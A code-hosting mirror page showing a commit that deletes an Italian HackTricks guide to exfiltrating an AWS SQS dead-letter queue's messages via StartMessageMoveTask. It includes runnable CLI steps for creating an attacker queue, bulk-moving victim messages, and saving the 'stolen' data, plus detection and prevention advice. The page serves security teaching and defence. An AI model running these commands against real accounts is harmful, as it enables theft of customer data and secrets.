gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-01 15:35:51 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

Browse Source
This commit is contained in:
Translator
2025-10-25 16:04:45 +00:00
parent 85912d0e4a
commit 9d0dee58c6
3 changed files with 145 additions and 193 deletions
Download Patch File Download Diff File Expand all files Collapse all files

154
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,154 +0,0 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recupero dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo.
## What is a Dead-Letter Queue (DLQ)?
Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non vengono processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono:
- Dati sensibili dell'applicazione che non sono stati processati
- Dettagli di errore e informazioni di debug
- Personal Identifiable Information (PII)
- API token, credenziali o altri segreti
- Dati di transazioni business-critical
Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
## Attack Scenario
**Real-world example:**
1. **E-commerce application** processa gli ordini dei clienti tramite SQS
2. **Alcuni ordini falliscono** (problemi di pagamento, problemi di inventario, ecc.) e vengono spostati in una DLQ
3. **La DLQ si accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **L'attaccante ottiene l'accesso** alle credenziali AWS con permessi SQS
5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria coda
7. **L'attaccante estrae** tutti i dati sensibili storici in un'unica operazione
## Requirements
- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di una coda).
- Permessi IAM (eseguito come il principal vittima compromesso):
- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Sulla coda di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente permesso di default.
- Se SSE-KMS è abilitato: sulla CMK sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la queue policy di destinazione permette `SendMessage` dal principal vittima.
## How to Abuse
- Identifica l'ARN della DLQ vittima e assicurati che sia effettivamente referenziata come DLQ da qualche coda (qualsiasi coda va bene).
- Crea o scegli una coda di destinazione controllata dall'attaccante e ottieni il suo ARN.
- Avvia un message move task dalla DLQ vittima alla tua coda di destinazione.
- Monitora il progresso o annulla se necessario.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione degli ordini dei clienti.
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Crea una coda di destinazione controllata dall'attaccante**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Esegui il bulk message theft**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Raccogliere i dati sensibili rubati**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Note cross-account
- La destination queue deve avere una resource policy che consenta al victim principal di `sqs:SendMessage` (e, se usati, KMS grants/permissions).
## Perché questo attacco è efficace
1. **Funzionalità AWS legittima**: Usa funzionalità integrate di AWS, rendendo difficile rilevarlo come attività malevola
2. **Operazione in blocco**: Trasferisce migliaia di messaggi rapidamente invece di accessi lenti e individuali
3. **Dati storici**: Le DLQs accumulano dati sensibili per settimane/mesi
4. **Sotto il radar**: Molte organizzazioni non monitorano attentamente l'accesso alle DLQ
5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo consentono
## Rilevamento e prevenzione
### Rilevamento
Monitorare CloudTrail per chiamate API `StartMessageMoveTask` sospette:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Prevenzione
1. **Privilegio minimo**: Restringere i permessi `sqs:StartMessageMoveTask` solo ai ruoli necessari
2. **Monitorare le DLQs**: Configurare allarmi CloudWatch per attività anomale delle DLQs
3. **Policy cross-account**: Revisionare attentamente le policy delle code SQS che consentono accesso cross-account
4. **Crittografare le DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino nelle DLQs indefinitamente
{{#include ../../../banners/hacktricks-training.md}}